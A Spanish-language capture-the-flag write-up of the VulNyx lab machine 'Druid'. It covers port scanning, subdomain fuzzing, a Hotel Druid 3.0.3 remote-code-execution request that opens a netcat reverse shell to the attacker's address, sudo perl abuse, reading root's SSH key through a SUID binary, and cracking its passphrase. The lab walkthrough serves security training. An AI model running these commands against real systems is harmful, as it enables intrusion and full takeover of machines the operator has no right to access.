VulNyx - Druid

logo

  • Hotel Druid 3.0.3 - (RCE)
  • Abusing Perl Binary - (Sudo)
  • Abusing Super Binary - (SUID Privesc)
  • Brute Force RSA Key - (Privesc)

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.133

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64

Escaneo de servicios

❯ nmap -sVC -p 22,80 -v 192.168.1.133

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Hotel
|_http-server-header: Apache/2.4.56 (Debian)
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP TCP - 80

http

Explorando la web encuentro el email info@hotel.nyx.

info

Añado el dominio hotel.nyx a mi archivo host y seguidamente realizo fuerza bruta de subdominios.

❯ wfuzz -t 200 -c --hw=2487 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.hotel.nyx" http://hotel.nyx
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://hotel.nyx/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                   
=====================================================================

000001915:   200        17 L     31 W       398 Ch      "reservations"  

Añado reservations.hotel.nyx a mi archivo hosts y lo visito.

subdomain

Hago una búsqueda en internet en busca de hoteldruid exploit y encuentro este exploit.

exploitOK

Sigo las instrucciones del exploit y me lanzo una shell.

❯ curl 'http://reservations.hotel.nyx/dati/selectappartamenti.php?cmd=nc%20-c%20/bin/bash%20192.168.1.20%204444'

Recibo la shell como usuario www-data.

❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.20] from (UNKNOWN) [192.168.1.133] 54940
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Enumero permisos de sudo.

www-data@druid:/var/www/hoteldruid/dati$ sudo -l            
Matching Defaults entries for www-data on druid:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on druid:
    (sun) NOPASSWD: /usr/bin/perl

Busco información del binario perl en gtfobins.

perl

Paso de usuario www-data a sun de la siguiente forma.

sun

Con find enumero binarios con permisos SUID.

sun@druid:~$ find / -perm -4000 2>/dev/null
/usr/bin/super

Lanzo el binario super para ver de que se trata.

super

Sigo las indicaciones y lanzo de nuevo el binario super con la flag -H.

superHelpUpper

Si pongo la ruta del /root/.ssh/id_rsa puedo leer el contenido de la llave rsa pero me lo muestra en mode reverse.

rsaRev

Para ver correctamente la llave rsa concateno el binario super con rev.

rsaFixed

Una vez copio la llave rsa utilizo RSAcrack para encontrar el passphrase.

rsaCrack

Me conecto como root al sistema.

root

Y aquí termina la máquina Druid.

Saludos!